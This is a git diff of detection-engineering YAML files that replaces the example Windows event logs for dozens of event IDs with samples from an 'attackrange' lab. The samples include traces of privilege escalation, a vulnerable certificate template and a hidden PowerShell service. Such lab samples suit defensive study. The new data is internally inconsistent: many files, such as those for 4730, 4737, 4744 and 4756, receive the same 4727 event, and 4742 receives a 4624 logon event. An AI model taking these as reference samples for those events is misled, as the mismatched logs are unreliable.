Event Details: + uSNChanged=82125 + uSNCreated=32216 + instanceType=4 + Additional Details: + isRecycled=TRUE + lastKnownParent=OU=Groups,OU=FIN,OU=Stage,DC=attackrange,DC=local + isDeleted=TRUE + 02/21/2024 19:38:39.062 + dcName=ar-win-dc.attackrange.local + admonEventType=Deleted + Names: + name=BRIDGETTE_GARRETT DEL:917a7609-22e2-437e-aa50-e97aab73384a + distinguishedName=CN=BRIDGETTE_GARRETT\0ADEL:917a7609-22e2-437e-aa50-e97aab73384a,CN=Deleted Objects,DC=attackrange,DC=local + cn=BRIDGETTE_GARRETT DEL:917a7609-22e2-437e-aa50-e97aab73384a + Object Details: + sAMAccountName=BRIDGETTE_GARRETT + objectSid=S-1-5-21-2851375338-1978525053-2422663219-3265 + userAccountControl=512 + objectGUID=917a7609-22e2-437e-aa50-e97aab73384a + whenChanged=07:38.39 PM, Wed 02/21/2024 + whenCreated=09:57.04 PM, Tue 02/20/2024 + objectClass=top|person|organizationalPerson|user + Event Details: + uSNChanged=82124 + uSNCreated=32069 + instanceType=4 + Additional Details: + isRecycled=TRUE + lastKnownParent=OU=ServiceAccounts,OU=ESM,OU=Tier 2,DC=attackrange,DC=local + isDeleted=TRUE diff --git a/data_sources/windows_event_log_security_4727.yml b/data_sources/windows_event_log_security_4727.yml index a13b4b7295..5fbaac6e0d 100644 --- a/data_sources/windows_event_log_security_4727.yml +++ b/data_sources/windows_event_log_security_4727.yml @@ -186,4 +186,5 @@ fields: - Version output_fields: - dest -example_log: 4727001382600x8020000000000000183204880Securityar-win-dc.attackrange.localESX AdminsATTACKRANGEATTACKRANGE\ESX AdminsATTACKRANGE\AdministratoradministratorATTACKRANGE0xe32f0-ESX Admins- +example_log: | + 4727001382600x8020000000000000183179338Securityar-win-dc.attackrange.localESX AdminsATTACKRANGES-1-5-21-560616516-1175754387-3922768235-4210ATTACKRANGE\AdministratoradministratorATTACKRANGE0xe32f0-ESX Admins- diff --git a/data_sources/windows_event_log_security_4728.yml b/data_sources/windows_event_log_security_4728.yml index e504a711c1..70d8d2aee4 100644 --- a/data_sources/windows_event_log_security_4728.yml +++ b/data_sources/windows_event_log_security_4728.yml @@ -135,4 +135,5 @@ fields: - Version output_fields: - dest -example_log: '' +example_log: | + 4728001382600x802000000000000011728112Securityar-win-dc.attackrange.localCN=unpriv2,CN=Users,DC=attackrange,DC=localATTACKRANGE\unpriv2Domain AdminsATTACKRANGEATTACKRANGE\Domain AdminsATTACKRANGE\unpriv2unpriv2ATTACKRANGE0x3cce43a- diff --git a/data_sources/windows_event_log_security_4730.yml b/data_sources/windows_event_log_security_4730.yml index 5db48b8720..480193cef4 100644 --- a/data_sources/windows_event_log_security_4730.yml +++ b/data_sources/windows_event_log_security_4730.yml @@ -186,4 +186,5 @@ fields: - Version output_fields: - dest -example_log: 4730001382600x8020000000000000183203591Securityar-win-dc.attackrange.localESX AdminsATTACKRANGES-1-5-21-560616516-1175754387-3922768235-4211ATTACKRANGE\AdministratoradministratorATTACKRANGE0xe32f0- +example_log: | + 4727001382600x8020000000000000183179338Securityar-win-dc.attackrange.localESX AdminsATTACKRANGES-1-5-21-560616516-1175754387-3922768235-4210ATTACKRANGE\AdministratoradministratorATTACKRANGE0xe32f0-ESX Admins- diff --git a/data_sources/windows_event_log_security_4731.yml b/data_sources/windows_event_log_security_4731.yml index 6641150050..9b6582754e 100644 --- a/data_sources/windows_event_log_security_4731.yml +++ b/data_sources/windows_event_log_security_4731.yml @@ -186,4 +186,5 @@ fields: - Version output_fields: - dest -example_log: '' +example_log: | + 4727001382600x8020000000000000183179338Securityar-win-dc.attackrange.localESX AdminsATTACKRANGES-1-5-21-560616516-1175754387-3922768235-4210ATTACKRANGE\AdministratoradministratorATTACKRANGE0xe32f0-ESX Admins- diff --git a/data_sources/windows_event_log_security_4732.yml b/data_sources/windows_event_log_security_4732.yml index 565de55438..781b5c4989 100644 --- a/data_sources/windows_event_log_security_4732.yml +++ b/data_sources/windows_event_log_security_4732.yml @@ -104,4 +104,5 @@ fields: - Version output_fields: - dest -example_log: 10/09/2020 10:41:26 AM +example_log: | + 4732001382600x8020000000000000170552Securityar-win-dc.attackrange.localCN=MAURICE_ANDERSON,OU=Groups,OU=BDE,OU=Tier 1,DC=attackrange,DC=localATTACKRANGE\MAURICE_ANDERSONDnsAdminsATTACKRANGEATTACKRANGE\DnsAdminsATTACKRANGE\AdministratorAdministratorATTACKRANGE0x5184c3- diff --git a/data_sources/windows_event_log_security_4737.yml b/data_sources/windows_event_log_security_4737.yml index 2f9ac5dc53..c624b90868 100644 --- a/data_sources/windows_event_log_security_4737.yml +++ b/data_sources/windows_event_log_security_4737.yml @@ -186,4 +186,5 @@ fields: - Version output_fields: - dest -example_log: 4737001382600x8020000000000000183186860Securityar-win-dc.attackrange.localESX AdminsATTACKRANGES-1-5-21-560616516-1175754387-3922768235-4211ATTACKRANGE\AdministratoradministratorATTACKRANGE0xe32f0--- +example_log: | + 4727001382600x8020000000000000183179338Securityar-win-dc.attackrange.localESX AdminsATTACKRANGES-1-5-21-560616516-1175754387-3922768235-4210ATTACKRANGE\AdministratoradministratorATTACKRANGE0xe32f0-ESX Admins- diff --git a/data_sources/windows_event_log_security_4738.yml b/data_sources/windows_event_log_security_4738.yml index dfd0ce63ed..c05ca9b842 100644 --- a/data_sources/windows_event_log_security_4738.yml +++ b/data_sources/windows_event_log_security_4738.yml @@ -117,4 +117,6 @@ fields: - Version output_fields: - dest -example_log: 4738001382400x80200000000000006389713Securityar-win-dc.attackrange.local-unprivATTACKRANGES-1-5-21-945660386-2529346225-2932127451-1112S-1-5-21-945660386-2529346225-2932127451-500AdministratorATTACKRANGE0x54bb3a----------------- +example_log: | + 4738001382400x80200000000000006389713Securityar-win-dc.attackrange.local-unprivATTACKRANGES-1-5-21-945660386-2529346225-2932127451-1112S-1-5-21-945660386-2529346225-2932127451-500AdministratorATTACKRANGE0x54bb3a----------------- + CRAB\administrator- diff --git a/data_sources/windows_event_log_security_4741.yml b/data_sources/windows_event_log_security_4741.yml index a5d86047ac..a90b480b35 100644 --- a/data_sources/windows_event_log_security_4741.yml +++ b/data_sources/windows_event_log_security_4741.yml @@ -119,4 +119,10 @@ fields: - Version output_fields: - dest -example_log: 4741001382500x8020000000000000143475Securityar-win-dc.attackrange.localAR-WIN-2$ATTACKRANGEATTACKRANGE\AR-WIN-2$ATTACKRANGE\AdministratorAdministratorATTACKRANGE0xd9f04-AR-WIN-2$-------4/8/2024 6:48:04 PM%%1794515-0x00x80 +example_log: | + 4741001382500x8020000000000000143475Securityar-win-dc.attackrange.localAR-WIN-2$ATTACKRANGEATTACKRANGE\AR-WIN-2$ATTACKRANGE\AdministratorAdministratorATTACKRANGE0xd9f04-AR-WIN-2$-------4/8/2024 6:48:04 PM%%1794515-0x00x80 + %%2087--%%1793ar-win-2.attackrange.local + HOST/ar-win-2.attackrange.local + RestrictedKrbHost/ar-win-2.attackrange.local + HOST/AR-WIN-2 + RestrictedKrbHost/AR-WIN-2 diff --git a/data_sources/windows_event_log_security_4742.yml b/data_sources/windows_event_log_security_4742.yml index e7b5aa1902..f0e5293d31 100644 --- a/data_sources/windows_event_log_security_4742.yml +++ b/data_sources/windows_event_log_security_4742.yml @@ -152,4 +152,5 @@ fields: - WorkstationName output_fields: - dest -example_log: 4742001382500x8020000000000000901860Securitywin-dc-root-04195-428.attackrange.local-WIN-HOST-ROOT-0$ATTACKRANGES-1-5-21-199921393-3534762603-6736986-1111S-1-5-21-199921393-3534762603-6736986-500AdministratorATTACKRANGE0x177304----------------- +example_log: | + 4624201254400x8020000000000000735367Securityar-win-2.attackrange.localNULL SID--0x0NT AUTHORITY\SYSTEMAR-WIN-2$ATTACKRANGE.LOCAL0x74fe13KerberosKerberos-{9C134679-D67F-E36B-466E-5320E2687762}--00x0-fe80::b86c:9c56:598:46a752630%%1833---%%18430x0%%1842 diff --git a/data_sources/windows_event_log_security_4744.yml b/data_sources/windows_event_log_security_4744.yml index a5a4b600fd..6d7197b8c0 100644 --- a/data_sources/windows_event_log_security_4744.yml +++ b/data_sources/windows_event_log_security_4744.yml @@ -186,4 +186,5 @@ fields: - Version output_fields: - dest -example_log: '' +example_log: | + 4727001382600x8020000000000000183179338Securityar-win-dc.attackrange.localESX AdminsATTACKRANGES-1-5-21-560616516-1175754387-3922768235-4210ATTACKRANGE\AdministratoradministratorATTACKRANGE0xe32f0-ESX Admins- diff --git a/data_sources/windows_event_log_security_4749.yml b/data_sources/windows_event_log_security_4749.yml index 179529d0cb..25d41b6052 100644 --- a/data_sources/windows_event_log_security_4749.yml +++ b/data_sources/windows_event_log_security_4749.yml @@ -186,4 +186,5 @@ fields: - Version output_fields: - dest -example_log: '' +example_log: | + 4727001382600x8020000000000000183179338Securityar-win-dc.attackrange.localESX AdminsATTACKRANGES-1-5-21-560616516-1175754387-3922768235-4210ATTACKRANGE\AdministratoradministratorATTACKRANGE0xe32f0-ESX Admins- diff --git a/data_sources/windows_event_log_security_4754.yml b/data_sources/windows_event_log_security_4754.yml index ce81e55ae1..1df34e78c5 100644 --- a/data_sources/windows_event_log_security_4754.yml +++ b/data_sources/windows_event_log_security_4754.yml @@ -186,4 +186,5 @@ fields: - Version output_fields: - dest -example_log: '' +example_log: | + 4727001382600x8020000000000000183179338Securityar-win-dc.attackrange.localESX AdminsATTACKRANGES-1-5-21-560616516-1175754387-3922768235-4210ATTACKRANGE\AdministratoradministratorATTACKRANGE0xe32f0-ESX Admins- diff --git a/data_sources/windows_event_log_security_4756.yml b/data_sources/windows_event_log_security_4756.yml index 8f3d71f280..c2c0d88079 100644 --- a/data_sources/windows_event_log_security_4756.yml +++ b/data_sources/windows_event_log_security_4756.yml @@ -186,4 +186,5 @@ fields: - Version output_fields: - dest -example_log: 4756 0 0 13826 0 0x8020000000000000 4405437 Security atc-win-2k16.atc.local CN=demouser,CN=Users,DC=atc,DC=local S-1-5-21-2245550993-2690282630-2861202560-18603 Enterprise Admins ATC S-1-5-21-2245550993-2622282683-2531201460-519 S-1-5-21-2245550993-2622282683-2531201460-500 test_user ATC 0x109a6c - +example_log: | + 4727001382600x8020000000000000183179338Securityar-win-dc.attackrange.localESX AdminsATTACKRANGES-1-5-21-560616516-1175754387-3922768235-4210ATTACKRANGE\AdministratoradministratorATTACKRANGE0xe32f0-ESX Admins- diff --git a/data_sources/windows_event_log_security_4759.yml b/data_sources/windows_event_log_security_4759.yml index 4ad942ba4e..b991137ea6 100644 --- a/data_sources/windows_event_log_security_4759.yml +++ b/data_sources/windows_event_log_security_4759.yml @@ -186,4 +186,5 @@ fields: - Version output_fields: - dest -example_log: '' +example_log: | + 4727001382600x8020000000000000183179338Securityar-win-dc.attackrange.localESX AdminsATTACKRANGES-1-5-21-560616516-1175754387-3922768235-4210ATTACKRANGE\AdministratoradministratorATTACKRANGE0xe32f0-ESX Admins- diff --git a/data_sources/windows_event_log_security_4768.yml b/data_sources/windows_event_log_security_4768.yml index edb1af2439..0b43292198 100644 --- a/data_sources/windows_event_log_security_4768.yml +++ b/data_sources/windows_event_log_security_4768.yml @@ -101,4 +101,5 @@ fields: - Version output_fields: - dest -example_log: 4768001433900x8010000000000000391562Securitywin-dc-mvelazco-02713-392.attackrange.localRXETPKZHattackrange.localNULL SIDkrbtgt/attackrange.localNULL SID0x408100100x120xffffffff-::ffff:10.0.1.1564568 +example_log: | + 4768001433900x8020000000000000148526Securityar-win-dc.attackrange.localAdministratorattackrange.localATTACKRANGE\AdministratorattackerATTACKRANGE\krbtgt0x408000100x00x172::ffff:10.0.1.1559369 diff --git a/data_sources/windows_event_log_security_4769.yml b/data_sources/windows_event_log_security_4769.yml index 8459aee2e5..7ddfa50af4 100644 --- a/data_sources/windows_event_log_security_4769.yml +++ b/data_sources/windows_event_log_security_4769.yml @@ -100,4 +100,5 @@ fields: - Version output_fields: - dest -example_log: 4769001433700x8020000000000000148521Securityar-win-dc.attackrange.localAR-WIN-2$@ATTACKRANGE.LOCALATTACKRANGE.LOCALAR-WIN-2$ATTACKRANGE\AR-WIN-2$0x408100000x17::ffff:10.0.1.15591910x0{3b4ad75b-7184-6094-b975-ea3f91932ee0}- +example_log: | + 4769001433700x8020000000000000148521Securityar-win-dc.attackrange.localAR-WIN-2$@ATTACKRANGE.LOCALATTACKRANGE.LOCALAR-WIN-2$ATTACKRANGE\AR-WIN-2$0x408100000x17::ffff:10.0.1.15591910x0{3b4ad75b-7184-6094-b975-ea3f91932ee0}- diff --git a/data_sources/windows_event_log_security_4771.yml b/data_sources/windows_event_log_security_4771.yml index 4760250a01..e57b831cff 100644 --- a/data_sources/windows_event_log_security_4771.yml +++ b/data_sources/windows_event_log_security_4771.yml @@ -94,4 +94,5 @@ fields: - Version output_fields: - dest -example_log: 4771001433900x8010000000000000391511Securitywin-dc-mvelazco-02713-392.attackrange.localALLISON_WATERSATTACKRANGE\ALLISON_WATERSkrbtgt/attackrange.local0x408100100x182::ffff:10.0.1.1564134 +example_log: | + 4771001433900x8010000000000000391509Securitywin-dc-mvelazco-02713-392.attackrange.localKARLA_MERCERATTACKRANGE\KARLA_MERCERkrbtgt/attackrange.local0x408100100x182::ffff:10.0.1.1564130 diff --git a/data_sources/windows_event_log_security_4776.yml b/data_sources/windows_event_log_security_4776.yml index 2fde8ea3e0..678d97076e 100644 --- a/data_sources/windows_event_log_security_4776.yml +++ b/data_sources/windows_event_log_security_4776.yml @@ -85,4 +85,5 @@ fields: - Workstation output_fields: - dest -example_log: 4776001433600x8010000000000000391615Securitywin-dc-mvelazco-02713-392.attackrange.localMICROSOFT_AUTHENTICATION_PACKAGE_V1_0KSYLEFUAWIN-HOST-MVELAZ0xc0000064 +example_log: | + 4776001433600x8010000000000000391605Securitywin-dc-mvelazco-02713-392.attackrange.localMICROSOFT_AUTHENTICATION_PACKAGE_V1_0RVWSOEPHWIN-HOST-MVELAZ0xc0000064 diff --git a/data_sources/windows_event_log_security_4781.yml b/data_sources/windows_event_log_security_4781.yml index d169fa66c1..db18cd9cfe 100644 --- a/data_sources/windows_event_log_security_4781.yml +++ b/data_sources/windows_event_log_security_4781.yml @@ -102,4 +102,5 @@ fields: - Version output_fields: - dest -example_log: 4781001382400x8020000000000000148763Securityar-win-dc.attackrange.localAR-WIN-2$AdministratorATTACKRANGEATTACKRANGE\AR-WIN-2$ATTACKRANGE\AdministratorAdministratorATTACKRANGE0x141a04- +example_log: | + 4781001382400x8020000000000000148763Securityar-win-dc.attackrange.localAR-WIN-2$AdministratorATTACKRANGEATTACKRANGE\AR-WIN-2$ATTACKRANGE\AdministratorAdministratorATTACKRANGE0x141a04- diff --git a/data_sources/windows_event_log_security_4783.yml b/data_sources/windows_event_log_security_4783.yml index c1e1259b78..285e3a73ad 100644 --- a/data_sources/windows_event_log_security_4783.yml +++ b/data_sources/windows_event_log_security_4783.yml @@ -186,4 +186,5 @@ fields: - Version output_fields: - dest -example_log: '' +example_log: | + 4727001382600x8020000000000000183179338Securityar-win-dc.attackrange.localESX AdminsATTACKRANGES-1-5-21-560616516-1175754387-3922768235-4210ATTACKRANGE\AdministratoradministratorATTACKRANGE0xe32f0-ESX Admins- diff --git a/data_sources/windows_event_log_security_4790.yml b/data_sources/windows_event_log_security_4790.yml index 48883e9588..64e8dc6861 100644 --- a/data_sources/windows_event_log_security_4790.yml +++ b/data_sources/windows_event_log_security_4790.yml @@ -186,4 +186,5 @@ fields: - Version output_fields: - dest -example_log: '' +example_log: | + 4727001382600x8020000000000000183179338Securityar-win-dc.attackrange.localESX AdminsATTACKRANGES-1-5-21-560616516-1175754387-3922768235-4210ATTACKRANGE\AdministratoradministratorATTACKRANGE0xe32f0-ESX Admins- diff --git a/data_sources/windows_event_log_security_4794.yml b/data_sources/windows_event_log_security_4794.yml index 8e52171dc6..ec99a50b10 100644 --- a/data_sources/windows_event_log_security_4794.yml +++ b/data_sources/windows_event_log_security_4794.yml @@ -155,4 +155,5 @@ fields: - Workstation output_fields: - dest -example_log: 4794001382400x8020000000000000821077Securitywin-dc-root-17044-552.attackrange.localATTACKRANGE\AdministratorAdministratorATTACKRANGE0x959c5[fe80::b907:7694:d740:91bb]0x0 +example_log: | + 4794001382400x8020000000000000821077Securitywin-dc-root-17044-552.attackrange.localATTACKRANGE\AdministratorAdministratorATTACKRANGE0x959c5[fe80::b907:7694:d740:91bb]0x0 diff --git a/data_sources/windows_event_log_security_4798.yml b/data_sources/windows_event_log_security_4798.yml index ecee69d69a..df143ed4a7 100644 --- a/data_sources/windows_event_log_security_4798.yml +++ b/data_sources/windows_event_log_security_4798.yml @@ -104,4 +104,5 @@ fields: - Version output_fields: - dest -example_log: 4798001382400x8020000000000000386860Securityar-win-2.attackrange.localGuestAR-WIN-2AR-WIN-2\GuestAR-WIN-2\AdministratorAdministratorAR-WIN-20x2f4df40x1590C:\Windows\ImmersiveControlPanel\telegram\telegram.exe +example_log: | + 4798001382400x8020000000000000379429SecurityEC2AMAZ-EF4NERBAdministratorEC2AMAZ-EF4NERBS-1-5-21-507126491-1217035336-2378659554-500S-1-5-21-507126491-1217035336-2378659554-500AdministratorEC2AMAZ-EF4NERB0x8df0c0x500C:\Windows\System32\Sysprep\sysprep\telegram.exe diff --git a/data_sources/windows_event_log_security_4876.yml b/data_sources/windows_event_log_security_4876.yml index 393e8a2c9b..b7b2ea5dca 100644 --- a/data_sources/windows_event_log_security_4876.yml +++ b/data_sources/windows_event_log_security_4876.yml @@ -93,4 +93,5 @@ fields: - Version output_fields: - dest -example_log: 4876001280500x802000000000000015379961Securitywin-dc-mhaag-attack-range-84.attackrange.local1S-1-5-21-2690122726-1172718210-436210976-500administratorATTACKRANGE0xeb075 +example_log: | + 4876001280500x802000000000000015379959Securitywin-dc-mhaag-attack-range-84.attackrange.local1S-1-5-21-2690122726-1172718210-436210976-500administratorATTACKRANGE0xeb075 diff --git a/data_sources/windows_event_log_security_4886.yml b/data_sources/windows_event_log_security_4886.yml index 37044c5398..ac8e2a319f 100644 --- a/data_sources/windows_event_log_security_4886.yml +++ b/data_sources/windows_event_log_security_4886.yml @@ -77,4 +77,8 @@ fields: - Version output_fields: - dest -example_log: 4886001280500x802000000000000015379925Securitywin-dc-mhaag-attack-range-84.attackrange.local7ATTACKRANGE\administrator +example_log: | + 4886001280500x802000000000000015379925Securitywin-dc-mhaag-attack-range-84.attackrange.local7ATTACKRANGE\administrator + UserAgent:Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko + + ccm:win-dc-mhaag-attack-range-84.attackrange.local diff --git a/data_sources/windows_event_log_security_4887.yml b/data_sources/windows_event_log_security_4887.yml index fb97bf3ad6..4a0b7170f0 100644 --- a/data_sources/windows_event_log_security_4887.yml +++ b/data_sources/windows_event_log_security_4887.yml @@ -80,4 +80,8 @@ fields: - Version output_fields: - dest -example_log: 4887001280500x80200000000000001830974609Securitycert_authority.attack_range.local7attack_range\attack_userCertificateTemplate:VulnerableTemplate_ESC1 +example_log: | + 4887001280500x802000000000000015379951Securitywin-dc-mhaag-attack-range-84.attackrange.local7ATTACKRANGE\administrator + UserAgent:Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko + + ccm:win-dc-mhaag-attack-range-84.attackrange.local3e6 f6 cc ab 06 b5 4e 87 7c 05 74 ea 32 d6 da 3a 81 ec 23 2dCN=Administrator, CN=Users, DC=attackrange, DC=local diff --git a/data_sources/windows_event_log_security_4946.yml b/data_sources/windows_event_log_security_4946.yml index b2c4999145..cc1a9e9efc 100644 --- a/data_sources/windows_event_log_security_4946.yml +++ b/data_sources/windows_event_log_security_4946.yml @@ -78,4 +78,5 @@ output_fields: - status - dest - ProcessID -example_log: 4946001357100x8020000000000000893174Securityar-win-dc.attackrange.localAll{2B6C38C7-0EBB-4010-80E5-45BF5F2CB8DD}Allow Dummy Rule +example_log: | + 4946001357100x8020000000000000893170Securityar-win-dc.attackrange.localAll{F1F45BAC-902B-489E-A811-42D7B2BE27F9}Allow Dummy Rule diff --git a/data_sources/windows_event_log_security_4947.yml b/data_sources/windows_event_log_security_4947.yml index fed89af166..96eb79835b 100644 --- a/data_sources/windows_event_log_security_4947.yml +++ b/data_sources/windows_event_log_security_4947.yml @@ -78,4 +78,5 @@ output_fields: - status - dest - ProcessID -example_log: 4947001357100x8020000000000000893175Securityar-win-dc.attackrange.localAll{2B6C38C7-0EBB-4010-80E5-45BF5F2CB8DD}Allow Dummy Rules +example_log: | + 4947001357100x8020000000000000893175Securityar-win-dc.attackrange.localAll{2B6C38C7-0EBB-4010-80E5-45BF5F2CB8DD}Allow Dummy Rules diff --git a/data_sources/windows_event_log_security_4948.yml b/data_sources/windows_event_log_security_4948.yml index 178668a23b..e5b675dbf3 100644 --- a/data_sources/windows_event_log_security_4948.yml +++ b/data_sources/windows_event_log_security_4948.yml @@ -78,4 +78,5 @@ output_fields: - status - dest - ProcessID -example_log: 4948001357100x8020000000000000893173Securityar-win-dc.attackrange.localAll{0A93EF88-A0FE-4A77-A5DD-4E46A51A2E2E}Allow Dummy Rule +example_log: | + 4948001357100x8020000000000000893171Securityar-win-dc.attackrange.localAll{F1F45BAC-902B-489E-A811-42D7B2BE27F9}Allow Dummy Rule diff --git a/data_sources/windows_event_log_security_5136.yml b/data_sources/windows_event_log_security_5136.yml index c522cf9766..8e835d7460 100644 --- a/data_sources/windows_event_log_security_5136.yml +++ b/data_sources/windows_event_log_security_5136.yml @@ -97,4 +97,5 @@ fields: - Version output_fields: - dest -example_log: 5136001408100x80200000000000001997365Securitywin-dc-mvelazco-02713-392.attackrange.local{73C96723-504B-4F15-830A-F4DDB1C48F2E}-ATTACKRANGE\AdministratorAdministratorATTACKRANGE0x95675attackrange.local%%14676CN=DANNIE_CERVANTES,OU=ServiceAccounts,OU=OGC,OU=Stage,DC=attackrange,DC=local{15AFB68A-679C-4F5B-AC18-4D988B3B3E44}userservicePrincipalName2.5.5.12adm/srv1.attackrange.local%%14674 +example_log: | + 5136001408100x80200000000000008462997Securityar-win-dc.attackrange.local{DAA78BEA-1686-4F99-9F07-6E113CDACAED}-ATTACKRANGE\AdministratorAdministratorATTACKRANGE0xd16f3attackrange.local%%14676cn={F12AD28C-02E9-42B4-A0A7-6E89C066B65F},cn=policies,cn=system,DC=attackrange,DC=local{E65A4255-C048-4375-A295-82FD8A53AC59}groupPolicyContainerflags2.5.5.93%%14674 diff --git a/data_sources/windows_event_log_security_5137.yml b/data_sources/windows_event_log_security_5137.yml index 55587393a5..a877c712a7 100644 --- a/data_sources/windows_event_log_security_5137.yml +++ b/data_sources/windows_event_log_security_5137.yml @@ -93,4 +93,5 @@ fields: - Version output_fields: - dest -example_log: 5137001408100x8020000000000000170140Securityar-win-dc.attackrange.local{681cac8c-b5a4-48fd-be93-4339996bd94d}-ATTACKRANGE\AdministratorAdministratorATTACKRANGE0x8561aattackrange.local%%14676CN={2C4C7CD3-7AA5-4E84-89B5-CE9FC75611D4},CN=Policies,CN=System,DC=attackrange,DC=local{3e7ae4de-29a6-41c1-b27c-bf9548b0444c}groupPolicyContainer +example_log: | + 5137001408100x80200000000000001209265Securityar-win-dc.attackrange.local{F003777D-0468-4FA6-9EA0-8DCE47FB2D48}-ATTACKRANGE\AdministratorAdministratorATTACKRANGE0xe15f9attackrange.local%%14676DC=DC011UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA,DC=attackrange.local,CN=MicrosoftDNS,DC=DomainDnsZones,DC=attackrange,DC=local{B6F6CDF7-62FC-4717-BF81-5361F47096E9}dnsNode diff --git a/data_sources/windows_event_log_security_5140.yml b/data_sources/windows_event_log_security_5140.yml index 4e095e1a89..825842e325 100644 --- a/data_sources/windows_event_log_security_5140.yml +++ b/data_sources/windows_event_log_security_5140.yml @@ -115,4 +115,6 @@ field_mappings: SubjectUserName: actor.user.name SubjectLogonId: actor.session.uid SubjectUserSid: actor.user.uid -example_log: 5140101280800x8020000000000000138541Securityar-win-66.attackrange.localATTACKRANGE\ELMER_SALASELMER_SALASATTACKRANGE0x2f259bFile10.0.1.1649864\\*\IPC$0x1%%4416 +example_log: | + 5140101280800x8020000000000000369814Securityar-win-62.attackrange.localATTACKRANGE\ELMER_SALASELMER_SALASATTACKRANGE0x27e0e5File10.0.1.1649874\\*\IPC$0x1%%4416 + diff --git a/data_sources/windows_event_log_security_5141.yml b/data_sources/windows_event_log_security_5141.yml index c1c2aba3b6..d4cf8d2a5d 100644 --- a/data_sources/windows_event_log_security_5141.yml +++ b/data_sources/windows_event_log_security_5141.yml @@ -94,4 +94,5 @@ fields: - Version output_fields: - dest -example_log: 5141001408100x8020000000000000670908Securitywin-dc-range-02713-392.attackrange.local{A3058236-A662-445E-9BEB-DE9210B143AB}-ATTACKRANGE\AdministratorAdministratorATTACKRANGE0x978ac22attackrange.local%%14676CN=NTDS Settings,CN=WIN-HOST-ROGUE,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=attackrange,DC=local{48387E55-8777-403F-BC63-2A38289A6BBF}nTDSDSA%%14679 +example_log: | + 5141001408100x8020000000000000670906Securitywin-dc-range-02713-392.attackrange.local{24BA5EC0-F600-4F17-A858-35940D4D064E}-ATTACKRANGE\AdministratorAdministratorATTACKRANGE0x978ac22attackrange.local%%14676CN=WIN-HOST-ROGUE,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=attackrange,DC=local{BEC8DDA8-2D9C-486D-A3BD-5DED80E6286F}server%%14679 diff --git a/data_sources/windows_event_log_security_5145.yml b/data_sources/windows_event_log_security_5145.yml index 896a63411b..be0c11a34f 100644 --- a/data_sources/windows_event_log_security_5145.yml +++ b/data_sources/windows_event_log_security_5145.yml @@ -134,4 +134,6 @@ field_mappings: SubjectUserSid: actor.user.uid ShareName: share Computer: device.hostname -example_log: 5145001281100x80200000000000002018939Securityar-win-dc.attackrange.localANONYMOUS LOGONANONYMOUS LOGONATTACKRANGE0x13ef1bFile10.0.1.1550160\\*\SYSVOL\??\C:\Windows\SYSVOL\sysvollsarpc0x120089%%1538 +example_log: | + 5145001281100x8020000000000000507919Securityar-win-dc.attackrange.localATTACKRANGE\AdministratorAdministratorATTACKRANGE0x4cd7dFilefe80::f442:1ec1:2f89:466951109\\*\C$\??\C:\test.exe0x2%%4417 + - diff --git a/data_sources/windows_event_log_system_104.yml b/data_sources/windows_event_log_system_104.yml index 8ce31d96ee..bad5db4aa9 100644 --- a/data_sources/windows_event_log_system_104.yml +++ b/data_sources/windows_event_log_system_104.yml @@ -83,4 +83,5 @@ fields: - Version output_fields: - dest -example_log: '' +example_log: | + 1040410400x8000000000000000180851Systemar-win-dc.attackrange.localAdministratorATTACKRANGESystem diff --git a/data_sources/windows_event_log_system_7036.yml b/data_sources/windows_event_log_system_7036.yml index 5ef32337cf..b6b48a6f6c 100644 --- a/data_sources/windows_event_log_system_7036.yml +++ b/data_sources/windows_event_log_system_7036.yml @@ -71,4 +71,5 @@ fields: - Version output_fields: - dest -example_log: 703604000x8080000000000000168530Systemar-win-dc.attackrange.localsppsvcstopped7300700070007300760063002F0031000000 +example_log: | + 703604000x8080000000000000187532Systemar-win.nas.domainCisco AMP Orbitalstopped43006900730063006F004F00720062006900740061006C002F0031000000 diff --git a/data_sources/windows_event_log_system_7040.yml b/data_sources/windows_event_log_system_7040.yml index 4a9bb03e41..529f5de1db 100644 --- a/data_sources/windows_event_log_system_7040.yml +++ b/data_sources/windows_event_log_system_7040.yml @@ -75,4 +75,5 @@ fields: - Version output_fields: - dest -example_log: 704004000x8080000000000000168231Systemar-win-dc.attackrange.localPrint Spoolerdemand startdisabledSpooler +example_log: | + 704004000x8080000000000000147896Systemwin-host-ctus-attack-range-328Update Orchestrator Service for Windows Updatedemand startdisabledUsoSvc diff --git a/data_sources/windows_event_log_system_7045.yml b/data_sources/windows_event_log_system_7045.yml index 27826f43d9..d9d06f0e1c 100644 --- a/data_sources/windows_event_log_system_7045.yml +++ b/data_sources/windows_event_log_system_7045.yml @@ -77,4 +77,5 @@ fields: - Version output_fields: - dest -example_log: 704504000x8080000000000000168145Systemar-win-dc.attackrange.localKrbSCMpowershell.exe -WindowStyle Hiddenestno' +example_log: | + 704504000x8080000000000000168100Systemar-win-dc.attackrange.localWinCheckDRVsC:\Temp\mockService.exeuser mode serviceauto startLocalSystem diff --git a/data_sources/windows_event_log_taskscheduler_201.yml b/data_sources/windows_event_log_taskscheduler_201.yml index 1035d51602..c0d99bd921 100644 --- a/data_sources/windows_event_log_taskscheduler_201.yml +++ b/data_sources/windows_event_log_taskscheduler_201.yml @@ -61,4 +61,5 @@ fields: - Version output_fields: - dest -example_log: '' +example_log: | + 2011420110x80000000000000004325Microsoft-Windows-TaskScheduler/Operationalar-win-dc.attackrange.local\OneLinerTestTask3notepad.exe{2EE32989-FAF3-4BA3-9FB9-DB0080598F68}537 From 2facbdaa933db49f417d9674feb81f22284c5ed0 Mon Sep 17 00:00:00 2001 From: nasbench <8741929+nasbench@users.noreply.github.com> Date: Wed, 14 Oct 2026 20:06:43 +0200 Subject: [PATCH 4/4] update version --- data_sources/asl_aws_cloudtrail.yml | 5 ++--- data_sources/aws_bedrock_claude.yml | 4 ++-- data_sources/aws_cloudtrail.yml | 13 ++++++------- data_sources/aws_cloudtrail_consolelogin.yml | 4 ++-- data_sources/aws_cloudtrail_createaccesskey.yml | 4 ++-- data_sources/aws_cloudtrail_createkey.yml | 4 ++-- .../aws_cloudtrail_createnetworkaclentry.yml | 4 ++-- data_sources/aws_cloudtrail_createpolicyversion.yml | 4 ++-- data_sources/aws_cloudtrail_createsnapshot.yml | 4 ++-- data_sources/aws_cloudtrail_deletedetector.yml | 4 ++-- 